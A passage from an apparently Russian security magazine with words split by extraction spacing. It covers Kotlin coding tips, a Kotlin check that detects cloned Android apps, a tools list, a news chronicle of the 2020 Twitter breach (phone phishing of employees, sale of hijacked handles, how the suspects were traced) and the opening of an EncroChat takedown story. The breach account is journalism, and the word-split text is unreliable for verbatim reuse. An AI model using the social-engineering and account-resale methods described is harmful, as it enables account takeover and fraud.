удобн а и полез на и так лег ко реали зует ся, почему бы не исполь зовать ее вез‐
де? Напр имер, почему бы не делать то же самое в методах forEach, filter,
map и дру гих?
Что бы отве тить на этот вопр ос, прив едем два фрагм ента кода. Перв ый:
persons.filter { it.firstName == name }
Вто рой:
persons.filter { firstName == name }
В перв ом фрагм енте мы исполь зуем метод filter так, как он реали зован
в Kotlin сейч ас. Во вто ром — так, как он мог бы быть реализ ован при исполь‐
зовании внут ри функ ции with. Обра ти вни мание, что код не стал более чита‐
емым. Нап ротив, он ввод ит в заб лужде ние. Что такое name? Это объ явленная
ранее перемен ная или поле, прин адл ежащее объе кту, с которым мы работа‐
ем?
Функ ция with может быть очень полезн а в одних случ аях и полн остью раз‐
рушать чита емость и откры вать прос тор для оши бок — в друг их.
Функции-расширения: использовать или нет?
Kotlin dilemma: Extension or Member — статья о том, в каких случ аях сто ит
использ овать фун кции‐рас ширения, а в каких нет.
Фун кции‐рас ширения — это методы, которые можн о добавить к любому
клас су вне зависи мос ти от того, имее шь ты дост уп к его исходном у коду
или нет. Напр имер:
fun String.isPalindrome() : Boolean {
//...
}
val str = "aabbaa"
val result = str.isPalindrome()
Это весь ма удоб ный инс тру мент, который при неп равиль ном исполь зовании
может при нес ти масс у проб лем. В основном эти пробл емы воз никаю т, ког да
раз работ чики пыта ются исполь зовать функ ции‐рас ширения в собс твен ных
клас сах вмес то соз дания стан дарт ных методов. Есть все го неск ольк о при‐
меров, ког да это может быть оправданн о.
1. Inline‐фун кции. Сущест ву ет извест ная рекоменд ация, что функ ции выс‐
шего порядк а сто ит помечать с помощью клю чевог о слов а inline. Тог да
ком пилятор вклю чит их код пря мо на мес то вызова, вмест о того что бы
делать нас тоящий вызов. Kotlin не поз воляе т делать инлай новыми методы
клас са, но позв оляе т делать инлай новыми функ ции‐расш ирения.
2. Объе кт со знач ени ем null. В отли чие от класс ичес ких методов, фун‐
кции‐расш ирения можн о соз дать даже для nullable‐типов. Напр имер:
fun CharSequence?.isNullOrBlank(): Boolean {
// ...
}
val str : String? = "I am nullable"
assertThat(str.isNullOrBlank()).isFalse()
Как предотвратить клонирование приложения
Preventing Android App Cloning — статья о том, как пре дот вра тить устан ов ку
двух экземп ля ров при ложен ия на устрой ство.
Не кото рые про изво дител и встра ивают в свои прош ив ки фун кцию кло ниро‐
вания при ложен ия (нап ример, Parallel Apps в OnePlus, Dual Apps в Xiaomi),
которая поз воляе т устан овить на смар тфон копию какого‐либо при ложе ния.
Про шив ка соз дает допол нительн ого Android‐польз овате ля с иден тифика‐
тором 999 и уста навл ивае т копию прил оже ний от его име ни.
Та кую же фун кцио наль ность предл ага ют некотор ые при ложен ия из мар‐
кета (Dual Space, Clone App, Multi Parallel). Они работа ют по‐дру гому: соз дают
изо лиро ванн ую сре ду для прил оже ния и уста нав лива ют его в собст вен ный
при ват ный каталог.
И тот и дру гой спо соб могут сло мать норм альн ое фун кцио ни рова ние при‐
ложен ия, если не совп адаю т разр ешения на дос туп к той или иной функ ци‐
ональн ос ти или файл ам. Нап ример, прил ожен ие не смож ет получить дос туп
к станд ар тно му катало гу заг рузок. Поэто му в некото рых слу чаях такое кло‐
ниро вание сто ит зап ретить.
Сдел ать это можн о с помощью анал иза пути к прив ат ному каталог у при‐
ложен ия. К прим еру, прил ожен ие с имен ем пакета com.example.app
при норм альн ой устан ов ке будет иметь прив ат ный каталог по след ующе му
пути:
/data/user/0/com.example.app/files
При соз дании кло на с помощью одно го из прил ожен ий из мар кета путь будет
уже таким:
/data/data/com.ludashi.dualspace/virtual/data/user/0/com.example.app/
files
А при соз дании кло на с помощью встро енных в про шив ку инс трум ен тов —
таким:
/data/user/999/com.example.app/files
Авт ор статьи пред лагае т ана лизир овать этот путь и пров ерять его либо
на количест во точек, либо на наличие циф ры 999. Я перепи сал его гром оз‐
дкий Java‐код на Kotlin:
private const val DUAL_APP_ID_999 = "999"
fun checkAppCloning(context: Context): Boolean {
val path: String = context.filesDir.path
val packageName = context.packageName
val pathDotCount = path.split(".").size‐1
val packageDotCount = packageName.split(".").size‐1
if (path.contains(DUAL_APP_ID_999) || pathDotCount >
packageDotCount) {
return false
}
return true
}
ИНСТРУМЕНТЫ
• Crylogger — инст ру мент, который помогае т най ти непр авильн ое исполь‐
зование фун кций крипт огра фии в прил оже ниях;
• Slicer — утил ита для быс тро го анал иза прил ожен ий;
• Adb‐event‐mirror — утил ита, копиру ющая события вво да с одног о устрой‐
ства на дру гое (можн о использ овать для симуляц ии нажатий на двух
устройс твах одноврем енн о);
• Uninstall.py — скрипт Frida для уда ления с устрой ства всех прил ожен ий,
имею щих прав а адми нист рат ора устройс тва.
БИБЛИОТЕКИ
• MarkdownEditText — Markdown‐редакт ор;
• CornerSheet — view, выезж ающий из угла;
• BlobBackgroundLayout — layout с ани миро ван ными кап лями на фоне;
• Beagle — фрейм ворк для созд ания прил оже ний с Server‐Driven UI;
• Luch — биб лиоте ка для монитор ин га Bluetooth‐маячк ов;
• PianoView — интер ак тивное пиани но;
• Phrase — библ иотек а для быс тро го перевод а с помощью
онлайн‐перевод чиков (Google Translate или DeepL);
• TickTock — библ иоте ка для управле ния часовы ми пояса ми;
• PINkman — аутен тификац ия с помощью PIN‐кода;
• Khome — библ иотек а для управле ния умным домом, пос тро енным на базе
Home Assistant;
• AndroidBottomBar — очер едн ая панель навига ции в ниж ней част и экран а;
• Unearthed — биб лиоте ка, позв оля ющая узнать, скольк о раз прил оже ние
было убит о и переза пуще но;
• TextWriter — TextView с аним ацие й появл ения букв.
HEADER
ХРОНИКА АТАКИ
НА TWITTER
Мария «Mifrill» Нефёдова
[email protected]
КАК ПОЙМАЛИ ХАКЕРОВ,
ВЗЛОМАВШИХ СОЦИАЛЬНУЮ СЕТЬ
В середи не июня 2020 года ком пания Twitter подв ер глась
самой мас штабн ой атак е за всю исто рию сво его сущес тво‐
вания. Раз бирае мся, что извест но о взлом е, а такж е изу чаем
судебн ые документ ы, которые прол иваю т свет на то,
как арес товали подозр евае мых в этой атак е.
ВЗЛОМ
В середин е июня 2020 года комп ания Twitter пос тра дала от самой мас штаб‐
ной атак и за всю исто рию сво его сущест вов ания. Комп ром етац ии подв ер‐
глось мно жест во аккау нтов пуб личных людей, ком паний, крип товалют ных
бирж. Так, сре ди пост ра давш их были: Билл Гейт с, Илон Маск, Джефф Безос,
Джо Бай ден, Барак Обам а, Уор рен Баф фет, Канье Уэст, Ким Кар дашь ян, ком‐
пании Apple и Uber, круп ней шие крип товалют ные бир жи CoinDesk, Binance
и Gemini.
Взло ман ные акка унты. Фото: Bleeping Computer
По лучен ным дост упом к топовым акка унтам злоу мыш ленник и восп оль‐
зовались весьм а стран ным образ ом: объ явил и аттрак цион несл ыхан ной щед‐
рости и устро или фальш ивую раз дачу бит кой нов. Мошен ники дейс твов али
по клас сическ ой скам ер ской схем е: от лица извес тных людей и крупн ых ком‐
паний они про сили прис лать им неболь шое количест во крипт овалют ы, обе‐
щая удво ить и вер нуть любую получен ную сумм у.
Как ни парадок сальн о, но даже в 2020 году нашл ось немало людей,
которые повери ли, что Билл Гейт с, Илон Маск и дру гие извес тные комп ании
и личн ости вдруг начали раз давать бит койн ы. В ито ге таким обра зом мошен‐
ники «зарабо тали» прим ерн о 13 BTC, то есть око ло 120 тысяч дол ларов.
При чем жертв мог ло быть и боль ше, если бы крупн ые крип товалют ные
бирж и сво евре менн о не забл окиро вали зло умыш ленни ков. К при меру, бирж а
Coinbase помешал а 1100 свои м кли ентам перевес ти 30,4 BTC — око‐
ло 280 тысяч дол ларов по текуще му курс у. Лишь 14 поль зовател ей Coinbase
успел и отправ ить крипт овалю ту на адрес мошенн иков (на общую сумм у око‐
ло 3000 дол ларов), преж де чем спе циалист ы внес ли его в черн ый спи сок.
Дру гие бирж и, в том чис ле Gemini, Kraken и Binance, тоже сообщ или, что
бло киро вали перево ды средств на кошелек хакеров, хотя их поль зовате ли
соверш или гораз до мень ше попыток тран закций, чем поль зовате ли Coinbase.
УЩЕРБ
По сос тоянию на начало августа извес тно, что атак а зат ронула сравн ительн о
неболь шое количест во учет ных записей. Взлом кос нулся лишь 130 аккау нтов,
и для 45 из них были успешно сбро шены пароли — от лица этих учет ных
записей взломщ ики раз мещали мошен ничес кие сообщ ения.
Еще для семи учет ных записей злоу мышл енни ки скач али все дос тупное
содер жимое аккау нта, вос польз овав шись фун кцие й Your Twitter Data. Инте‐
рес но, что ни один из этих семи аккау нтов не был верифи циро ван (не имел
синей галочк и).
Так же зло умышл енни ки просм атрив али лич ные сооб щения влад ель‐
цев 36 скомп ро метир ованн ых учет ных записей. Прич ем один из этих акка‐
унтов при над лежал неназ ванно му нидер ланд ском у полити ку.
В Twitter под черкив али, что злоу мыш ленник и не мог ли увид еть пред ыду‐
щие верс ии паролей от учет ных записей, так как те не хран ят ся открыт ым тек‐
стом и недост упны через внут ренние инст рум ент ы ком пании. Зато сооб‐
щалось, что хакеры име ли возм ожность просм атрив ать личн ую информа цию
польз овател ей, вклю чая адрес а элект рон ной почт ы и номера телефо нов,
видимые для некото рых учет ных записей.
КАК ВЗЛОМАЛИ?
Очень быс тро выяс нилось, что хакеры не восп ольз овались какой‐либо уяз‐
вимостью и не обош ли двух фактор ную аутен тифика цию акка унтов, а поп росту
добр ались до админ‐панели Twitter, через которую и управля ли чужими акка‐
унта ми. При чем сооб щения со скринш отами, доказыв ающим и эту теорию,
начали появл ятьс я непос редст вен но в день взло ма, но сот рудни ки Twitter их
сраз у же удал яли, а тех, кто их публ иковал, нещадн о банили (отре дакт ирован‐
ные вер сии скрин шотов мож но уви деть ниже).
На этих скрин шотах хорошо вид но, что сот рудник и Twitter имею т воз можность
кон тро лиро вать учет ные записи поль зовател ей, вклю чая изме нение адре сов
элект ронн ой поч ты, прив язан ных к акка унтам, и пол ную блок ировк у учет ных
записей. Кро ме того, кноп ки Search Blacklist и Trends Blacklist прям о указ ыва‐
ют на то, что сот рудник и комп ании могут опред елять, какие сооб щения
попада ют в поиск и тренд ы плат формы, а какие нет.
На под нявшу юся вол ну крит ики и обвин ения в цен зуре сот рудни ки Twitter
от вечали, что комп ания никогд а и не скрыв ала: не все, что пишут поль зовате‐
ли, может попадать в трен ды.
Лишь 30 июля 2020 года, спус тя две недели пос ле инци ден та, пред ста‐
вител и Twitter офи циальн о подт верд или, что ата ка на соци альн ую сеть ста ла
резуль татом комп ро метац ии сра зу нес кольк их сот рудни ков комп ании. Выяс‐
нилось, что 15 июля 2020 года мошенн ики устро или фишинг овую атак у
по телефо ну и при мени ли прот ив сот рудни ков социа льн ую инже нерию.
Ког да учет ные данн ые, похищен ные у одног о из сот рудник ов, не дали
хакерам дост упа к внут ренним инст рум ен там Twitter, зло умыш ленни ки ата‐
ковал и друг их работ ников комп ании, у которых были нуж ные пра ва и дост уп.
«Не все атак ован ные сот рудник и имел и пра ва для исполь зования инс-
трум ент ов управле ния учет ными записям и, но злоу мыш ленник и
исполь зовали их учетн ые данн ые для дос тупа к нашим внут ренним
сист емам и получе ния информа ции о наших про цес сах. Эта информа-
ция поз волила им ата ковать дру гих сотр удник ов, которые облад али
дос тупом к нашим инст рум ент ам подд ерж ки», — пишут предс та вител и
Twitter.
Журн алис ты издан ия Vice Motherboard пред положи ли, что «скоо рдин иров ан‐
ная ата ка на сот рудник ов комп ании с прим ене нием социа льн ой инже нерии»
была обыч ной инсайд ер ской работой. То есть, по информац ии жур налис тов
и их ано ним ных источни ков, хакеры попр осту под купили сот рудни ка Twitter,
что бы получить дост уп к той самой админ ист ра тив ной панели.
Сто ит отмет ить, что похожие инцид ент ы в Twitter слу чались и рань ше. Так,
в 2017 году один из сотр удник ов социа льн ой сети на некото рое врем я уда лил
учет ную запись през иден та США Дональд а Трам па, а в 2019 году Минис терс‐
тво юсти ции США со обща ло, что два сот рудник а Twitter злоу пот реблял и сво‐
им дос тупом для шпи она жа в польз у Саудовс кой Арав ии.
ПОСЛЕДСТВИЯ
Вско ре посл е взло ма глав а Twitter Джек Дор си писал, что это был крайн е
тяжелый день для комп ании. Такж е он пообещ ал, что рас сле дован ие про изо‐
шед шего будет макс имальн о прозр ачным.
Стре мясь разоб ратьс я в про исхо дящем и сниз ить рис ки, инжен еры Twitter
пош ли на край нюю меру, которую сами называ ли «разр ушительн ой»: пре вен‐
тивно заб локиро вали огромный класт ер учет ных записей (даже не подв ергав‐
шихся атак е, на перв ый взгляд), огран ичив для них пуб ликации, возм ожность
смен ить пароль и мно гие друг ие функ ции. Вла дель цам пообе щали вер нуть
дос туп к этим аккау нтам сра зу же, как тольк о ста нет ясно, что они в безопас‐
ности и угро за устран ена. В ито ге для мно гих поль зовате лей Twitter неск ольк о
дней работал с перебо ями.
Так же пос ле атак и на вре мя рас сле дован ия Twitter серь езно огран ичил а
дос туп сво их сот рудник ов к внут ренним инст ру мен там и сис темам. Эти огра‐
ничен ия в перв ую очер едь косн улись уже упом янут ой фун кции Your Twitter
Data, которая позв оляе т польз овате лям загр ужать все свои дан ные из Twitter,
но так же огран иче ния расп ростра нились и на дру гие серв исы.
«Мы будем медл еннее реаги ровать на запр осы, связ ан ные с подд ер-
жкой акка унтов, жалоба ми на сообщ ения в Twitter и при ложе ниями
на нашей плат форме для раз работ чиков. Мы сожале ем о любых воз-
никаю щих задерж ках, но счит аем, что это необх одимая мера пре дос-
торожн ости, пос коль ку посл е инци дент а мы вно сим долг овре менн ые
измен ения в наши про цес сы и инст ру мен ты. Мы пос тепенн о вер немся
к норм альн ому врем ени откли ка, но лишь ког да будем увер ены, что
это безопасн о», — обе щали раз работч ики в кон це июля.
Генп ро курор Нью‐Йорк а Летиция Джейм с заяви ла, что атак а на Twitter
вызыва ет серь езные опа сения по поводу безопасн ости дан ных и того,
как подобн ые плат формы могут быть исполь зованы для нанесе ния вред а
общес твен ным дебатам.
Се натор Рон Уай ден, в свою оче редь, задалс я резон ным вопр осом,
почему соци альн ая сеть не реализ овал а сквозн ое шиф рование для личн ых
сооб щений, хотя еще в 2018 году работал а над этой фун кци ональ ностью. Его
подд ержа ла акти вист ка Ева Галь перин из Electronic Frontier Foundation:
«Twitter сейч ас не приш лось бы бес покои ть ся о том, что злоу мыш-
ленник и мог ли проч итать, похитить или измен ить лич ные сообщ ения,
если бы комп ания внед рила E2E для лич ных сооб щений, как EFF про-
сил годами».
Еще один амер иканс кий сенатор — Джош Хоули призв ал Twitter сот рудни чать
с власт ями, вклю чая Минист ерст во юстиц ии и ФБР, для обес печения
безопасн ости.
«Я обесп окое н тем, что это событие мог ло предс тавл ять собой
не прос то набор отдель ных инцид ент ов, а скор ее успешную и ско-
орди ниров ан ную ата ку на безопас ность самой комп ании Twitter», —
говорит Хоули, поп росивш ий гла ву Twitter Джек а Дорс и пре дос тавить
власт ям дополн итель ную информа цию об инцид ент е.
АРЕСТ ПОДОЗРЕВАЕМЫХ
Сраз у посл е атак и некото рые ИБ‐спе циалис ты писали, что инцид ент, веро‐
ятно, был не так прост, как кажет ся на перв ый взгляд. Ведь получить дост уп
такого уров ня и «пот ратить» его на фейк овую разд ачу крипт овалю ты, прин ес‐
шую нем ногим боль ше ста тысяч дол ларов, — это доволь но странн ый шаг
для хакеров: в теории такой дос туп мож но было про дать за милл ионы. Поэто‐
му мно гие полагал и, что наст оящей целью этой камп ании, вероя тно, мог ло
быть, к прим еру, хищение данн ых.
Тем врем енем дру гие эксперт ы писали, что некото рые прест упни ки поп‐
росту не слиш ком умны и за этой неукл южей ата кой вполн е могут сто ять под‐
рост ки. В ито ге именн о это пред положен ие и ока залось вер ным.
Ве чером 31 июля 2020 года амер иканс кие пра воох ранител и соб рали
пресс‐кон ференц ию, на которой объ яви ли о задерж ании глав ного «идейн ого
вдох новите ля» взло ма комп ании Twitter. Им оказ алс я 17‐лет ний подр осток
из шта та Фло рида Грэм Айвен Кларк (Graham Ivan Clark), судя по все му извес‐
тный в сети под псевд онимом Kirk.
Грэм Айвен Кларк
Совм ес тное рас сле дован ие, пров еден ное ФБР, Налого вым управле нием
США, Минис терст вом юсти ции и Сек ретной служ бой, помогл о выявить сооб‐
щни ков пред полагае мо го хакера. Таковы ми были назв аны еще двое молодых
людей: 19‐лет ний Мейс он «Chaewon» Шепп ард из Великоб ритании и 22‐лет‐
ний Нима «Rolex» Фазели из Флор иды.
Из вес тно, что Грэ му Айвен у Кларк у были предъ явлен ы обви нения
по 30 пун ктам, вклю чая:
• фи нанс овые махинац ии (в разм ере свы ше 50 тысяч долл аров);
• мо шенн ичест во со средс твам и свя зи (в разм ере более 300 долл аров);
• мо шен ничест во с исполь зовани ем пер сональн ых дан ных (в раз мере
более 100 тысяч дол ларов или более 30 пос тра дав ших);
• зло упот реблен ие перс ональ ными данн ыми;
• неп равомочн ый дос туп к компью те ру или элек тронн ому устрой ству (путем
сго вора для соверш ения мошен ническ их дей ствий).
Инт ересн о, что Кларк а будут судить как взрос лого, так как дело имее т мест о
в Тамп е, а законы во Фло риде раз решаю т обвин ять и судить несоверш енно‐
лет них как взросл ых, если речь идет о финан совом мошен ничес тве.
«Он 17-летн ий подр осток, который толь ко что оконч ил средн юю шко-
лу, но не забл уждайт есь, он совс ем не обычн ый семн адцат илет ка.
Это была край не слож ная ата ка, невиданн ых ранее мас штаб ов.
Тот факт, что он сумел получить лишь 100 тысяч долл аров за день,
объя сня ется тем, что его доволь но быст ро пой мали. Но пом ните, что
речь идет не толь ко о деньг ах, [этот взлом] мог дес табилиз иров ать
финан совые рын ки, как в Аме рике, так и по всем у миру, потому что
[хакер] получил дост уп к аккау нтам наибо лее влия тель ных полити ков.
Он мог пов редить амер иканс кой полити ке и меж дународ ной дип-
ломатии.
Это не игра, это серь езные прес тупле ния с серье зны ми пос ледст ви-
ями. Если вы счит аете, что можете обман уть людей в сети и это сой-
дет вам с рук, вас ждет горьк ое разочар ова ние. Горьк ое разоча рова-
ние, которое наст игнет вас в шесть утра, ког да в вашу дверь пос тучат-
ся федеральн ые агент ы», — заявил прок урор Хилл сбор о Эндрю Уор-
рен (Andrew Warren).
КАК ИХ ПОЙМАЛИ?
Подр ос тков пойм али быст ро, спус тя чуть боль ше двух недель пос ле ата ки.
Из опубл икованн ых судебн ых докумен тов стан овит ся ясно, что виной тому их
собс твен ная неб режность и бесп ечность. Поп робуе м понять, как выг лядела
прим ерн ая хро ноло гия событий.
Согл асно офи циаль ным бумагам, все началось еще 3 мая 2020 года, ког‐
да Грэм Айвен Кларк начал ата ковать сот рудник ов Twitter и получил дост уп
к сети ком пании. Судя по всем у, в перио д с 3 мая по 15 июля (когд а про изо‐
шел мас совый взлом учет ных записей Twitter) Кларк пытал ся разв ить свою
атак у и перейт и от исходной точк и про ник новения к инс трум ен ту адми нис три‐
рова ния.
→Продолжение статьи
HEADER ← НАЧАЛО СТАТЬИ
ХРОНИКА АТАКИ
НА TWITTER
КАК ПОЙМАЛИ ХАКЕРОВ, ВЗЛОМАВШИХ
СОЦИАЛЬНУЮ СЕТЬ
К при меру, издан ие The New York Times, со ссылк ой на собс твен ные источни‐
ки в хакерс ком сообщ ест ве, писало, что изнач аль но Кларк получил дост уп
к внут ренне му Slack ком пании Twitter, где в одном из каналов яко бы нашел
учет ные дан ные для внут реннег о адми нис трат ив ного инс тру мент а. Но одних
тольк о учет ных данн ых, похоже, было бы недост аточ но для дост упа к бэкенд у
Twitter. Сооб щение в офи циаль ном бло ге Twitter глас ит, что учет ные записи
сот рудник ов были защищен ы двух фактор ной аутен тифика цией. Судя по все‐
му, именн о на обход этих защит ных мер Кларк и пот ратил вре мя, а в итог е
при менил социа льн ую инже нерию и соверш ил фишинг овую ата ку на работ‐
ников комп ании по телефон у, что поз волило обой ти «втор ой факт ор» защиты.
Доб равшись до внут ренне го адми нист ра тивн ого инс тру мен та ком пании,
Кларк нап равил ся в Discord, где он зарегист ри рован под псевд онимом Kirk
#5270, и связ ал ся с дву мя друг ими польз овател ями, чтоб ы с их помощью
монети зиро вать получен ный дос туп. В судеб ных документ ах при водят ся логи
чатов, где польз ователь Kirk #5270 обща ется с дву мя польз овате лями Dis‐
cord‐канала OGUsers — Rolex #0373 (Нима Фазели) и ever so anxious #0001
(Мейс он Шепп ард).
OGUsers начинал свою работу как сайт, где про давал и угнанные учет ные
записи на самых разн ых плат формах и сер висах. Но если все начинал ось
с «инте ресн ых» аккау нтов в социа ль ных медиа (Twitter, Instagram) с уник аль‐
ными или корот кими юзер нейм ами, то позж е раз вилось в полн оцен ный
хакер ский ресурс для прод ажи любых акка унтов, в числ е которых учет ные
записи польз овател ей PlayStation Network, Steam, Domino’s Pizza.
Кро ме того, жур налис ты издан ия Vice Motherboard обращ али свое вни‐
мание на OGUsers еще в 2018 году, ког да готови ли цикл ста тей об учас‐
тившихс я слу чаях мошенн ичес тва с SIM‐карт ами. Такие ата ки с зах ватом
чужих телефон ных номеров исполь зуют ся для хищения аккау нтов в соци аль‐
ных сетях, краж крупн ых сумм в крипт овалют е и подоб ных дей ствий.
OGUsers — одна из крупн ейш их торг овых площ адок, где прод ава лись укра‐
денн ые при таких обсто ятель ствах акка унты.
Нужн о отме тить, что за посл едние годы форум был взло ман дважд ы. Пер‐
вый взлом про изо шел в мае 2019 года. Тогд а атак ующие прон икл и на сер вер
через уязв имость в одном из каст омных плаг инов и получи ли дос туп к бэкапу,
датиро ванн ому 26 декаб ря 2018 года. Вто рой раз форум взло мали в апре‐
ле 2020 года. В этом слу чае зло умыш ленни ки похитил и дан ные
всех 200 тысяч зарегис трир ован ных поль зовате лей.
В чате Kirk #5270 заявил, что он работа ет в комп ании Twitter, и в качест ве
доказа тель ства изме нил наст рой ки учет ной записи, при надл ежащей Rolex
#0373, а так же про дал ему дост уп к учет ной записи @foreign. В свою очер едь,
поль зовател ю ever so anxious #0001 он про дал дост уп к нес кольк им аккау нтам
с корот кими и цен ными име нами: @xx, @dark, @vampire, @obinna и @drug.
Кларк доказы вает Фазели, что у него есть дос туп
Про дажа дост упа к чужим акка унтам
Пер его воры о про даже цен ных имен польз овате лей. Фото: Krebs
on Security
Пос ле того как Кларк убед ил Фазели и Шеп парда в том, что у него есть дос‐
туп нужн ого уровн я, они зак лючили сдел ку и решили разм естить на форуме
OGUsers рекл аму взло ма и про дажи учет ных записей Twitter.
Ха керы обго вари вают цену
Изм енить email‐адрес, прив язанн ый к любой учет ной записи Twitter, —
250 дол ларов. Прям ой дос туп к учет ным записям — 2000–3000 долл аров
за шту ку.
Объя влен ие, в ито ге раз мещен ное на OGUsers. Фото: Krebs on Security
Суд я по всем у, услу гами из это го объ явлен ия успел и восп ольз оватьс я нес‐
кольк о человек. Так, пред ста вител и про курат уры заяв ляли на пресс‐кон‐
ферен ции, что ищут еще неск ольк их поль зовател ей, участ во вавш их во взло‐
ме.
Уже на след ующий день пос ле ата ки на Twitter ФБР и Секр етная служб а
начали рас сле дова ние. Сог ласно судебн ым докумен там, вна чале прав оох‐
раните ли опир ались на дан ные из соци аль ных сетей и репорт ажи новост ных
агентств, что помог ло им вый ти на след потен циальн ых злоу мыш ленник ов
и запр осить у ком пании Discord логи и свед ения о конк рет ных польз овате лях.
Так как хакеры разм естил и объ явле ние на OGUsers, ФБР восп ольз овалось
БД, утек шей с хакерс ког о форума и попавш ей в сеть пос ле инцид ен та в апре‐
ле текуще го года. Напомн ю, что тот дамп содерж ал email‐ и IP‐адре са поль‐
зовател ей OGUsers, а такж е их личн ые сообщ ения.
Кро ме того, при бегн ув к помощи Налого вого управлен ия США, пра воох‐
ранител и обра тились к предс та вите лям бирж и Coinbase и получи ли
информа цию о бит койн‐адре сах, которые зло умышл енник и использ овали
во вре мя атак и на Twitter, а так же об адрес ах, которые хакеры упо минал и
в чатах Discord и сообщ ени ях на форуме OGUsers.
Со пос тавив дан ные из этих трех источник ов, спец иалис ты ФБР смог ли
отслед ить активность хакеров на трех сайт ах, а такж е связ ать их с конк рет‐
ными email’ами и IP‐адре сами. Нуж но ска зать, что это было совс ем нет рудно:
к прим еру, Фазели вычисл или бла годар я тому, что он открыт о указ ал в про‐
филе на OGUsers свой никн ейм в Discord.
Про филь Фазели на OGUsers
По мимо этог о, Фазели совер шил мно жес тво дру гих оши бок и, кажет ся, даже
не пытал ся скрыть свою личн ость. Так, он использ овал адрес
[email protected] для регис тра ции учет ной записи на форуме
OGUsers и адрес [email protected] для захв ата учет ной записи @for‐
eign в Twitter. И эти же два адре са он использ овал для регис трац ии учет ных
записей на бирж е Coinbase, которые затем верифи циров ал с помощью
фотогр афии собст венн ых водительс ких прав.
Бо лее того, для дос тупа к учет ным записям на всех трех упом янут ых сайт ах
Фазели исполь зовал обычн ый домашн ий интернет, не пыта ясь хоть как‐то
защитить соедин ение. В итог е он засв етил свой домашн ий IP‐адрес в логах
всех трех сер висов (Discord, Coinbase и OGUsers).
По хоже пос тупал и Шепп ард, который был зарегис три рован на OGUsers
под ником Chaewon. След ова тели заяви ли, что смогл и связ ать Discord‐поль‐
зовател я ever so anxious #0001 с про филем на OGUsers благ одар я объя вле‐
нию, которое тот раз местил на сай те в день взлом а Twitter.
Изуч ив утекш ую базу дан ных поль зовате лей OGUsers, прав оохр анител и
обнар ужил и еще одно подт вержде ние: Chaewon покупал аккау нт в виде оигр е
через тот же бит койн‐адрес, который позж е исполь зовали хакеры в день
взло ма Twitter. Дело в том, что Шеп пард тоже имел неск оль ко учет ных
записей на Coinbase, которые он подт вер дил с помощью свои х реальн ых
водительс ких прав.
Тран закции с кошель ка Шепп арда
Увы, пока власт и не объ яснил и, как имен но они связ али Кларк а с Discord‐
польз овател ем Kirk#5270, но мож но предп оложить, что 17‐лет ний Кларк едва
ли был осто рож нее сво их горе‐сообщ ник ов.
22 июля 2020 года незави симый ИБ‐жур налист Брайа н Кребс взял
интервью у челове ка, скрыв ающе гося под псев донимам и Chaewon и ever so
anxious (тогд а еще не было извест но, что это Мей сон Шепп ард). Тот уве рял,
что он лишь выс тупал пос редни ком меж ду польз овател ем Kirk и друг ими
людьм и, которые хотели прио брести дост уп к ценн ым учет ным записям в Twit‐
ter, и не участ во вал в пос ледую щей афер е с бит койн ами и тем более во взло‐
ме социа льн ой сети.
‑«Я свя зал ся с Kirk, и это была худш ая ошиб ка, которую я ког да либо
‑соверш ал. Из за этог о я оказ ал ся втя нут в пробл емы, к которым
не имею никако го отно шения. Если бы я знал, что Kirk собирае тся
сде лать то, что он в ито ге сдел ал, если бы я в самом начале понял,
что он хакер, который выда ет себя за сот рудни ка ком пании, я
не захотел бы ста новить ся поср едник ом», — сетовал Chaewon.
HEADER
Мария «Mifrill» Нефёдова
[email protected]
ЛИКВИДАЦИЯ
ENCROCHAT
КАК ПРАВООХРАНИТЕЛИ ЗАКРЫЛИ ПЛАТФОРМУ
ДЛЯ ЗАШИФРОВАННЫХ КОММУНИКАЦИЙ
И АРЕСТОВАЛИ БОЛЕЕ 750 ЧЕЛОВЕК
В начале июля 2020 года Европ ол, бри тан ское Нацио наль‐
ное агентство по борь бе с прес тупностью (NCA), а такж е
прав оохр анитель ные орга ны Фран ции, Шве ции, Нор вегии
и Нидер ландов офи циаль но сооб щили о ликв идации плат‐
формы для зашиф рованн ых ком муника ций EncroChat,
которой польз овались больш е 60 тысяч человек по все му
миру.
КАК ЭТО РАБОТАЛО
Как мож но уви деть на ар хивной копии сайт а ком пании, телефо ны EncroChat
гарант ирова ли сво им поль зовател ям абсо лют ную анон имн ость: устройс тво
и SIM‐карт а не прив язы вались к учет ной записи клие нта, и при обре тали их
так, что отсле дить про исхожде ние было невозм ожно. Так же гарант ирова лась
пол ная кон фиден циаль ность: зашиф рован ный интерфейс был надежн о
скрыт, а само устройс тво модифи циро вано — физическ и отсутст во вали
камера, микр офон, GPS‐модуль и USB‐порт.
Тел ефон EncroChat. Фото: TWITTER/@MISDAADNIEUW2
Де вай сы пост авля лись сра зу с двум я ОС: если поль зователь хотел, что бы
устрой ство выг лядело безобид ным, он загр ужал обыч ный Android. А когд а
возн икала нужд а в сек ретных чатах, поль зователь перекл ючал ся на сис тему
EncroChat.
По дан ным издан ия Vice Motherboard, телефон ы EncroChat были пост ро‐
ены на базе модифи циров ан ных BQ Aquaris X2 — Android‐смар тфо нов,
выпущенн ых в 2018 году испан ской ком пани ей — прои звод ите лем элект ро‐
ники.
Опер ато ры плат формы EncroChat устан авл ивали на телефон ы собст вен‐
ные зашиф рованн ые прогр аммы для обме на сообщ ения ми и VoIP‐звон ков,
что бы марш ру тизи ровать траф ик через сер веры комп ании. Такж е телефон ы
имел и фун кцию быст ро го и пол ного обнул ения устройс тва, если поль‐
зователь вво дил спе циаль ный PIN‐код.
Ком пания про давал а такие телефо ны по под писке: сам аппар ат оце нивал‐
ся прим ер но в 1000 фунт ов, а шест имесячн ый конт ракт сто ил око‐
ло 1500 фунт ов стер лингов. Хотя на сай те говорит ся, что у EncroChat есть
ресей леры в Амстерд аме, Рот терда ме, Мад риде и Дубае, на самом деле
ком пания работал а очень скрыт но.
Из дание Vice Motherboard, посв ятив шее ог ромную статью этой опер ации
пра воох ранительн ых орган ов, пишет, что нект о, конт ро лиру ющий адрес элек‐
трон ной почт ы комп ании EncroChat, заявил журн алис там, буд то EncroChat —
работаю щая в рам ках закона ком пания с кли ента ми в 140 стра нах мира.
«Мы — комм ерчес кая комп ания, пред лага ющая услуг и в области
защищенн ой свя зи через мобильн ые устрой ства. Мы решили соз дать
луч шую тех нологию на рын ке, чтоб ы обесп ечить надежн ый и безопас-
ный серв ис для орган изац ий или физическ их лиц, которые хотят
защитить свою информа цию», — писал пред став итель ком пании.
При этом, по дан ным пра воох раните лей, 90% клие нтов EncroChat — прес‐
тупник и. У EncroChat было порядк а 60 тысяч польз овател ей по все му миру,
и прим ер но 10 тысяч из них жили в Великобр итании.
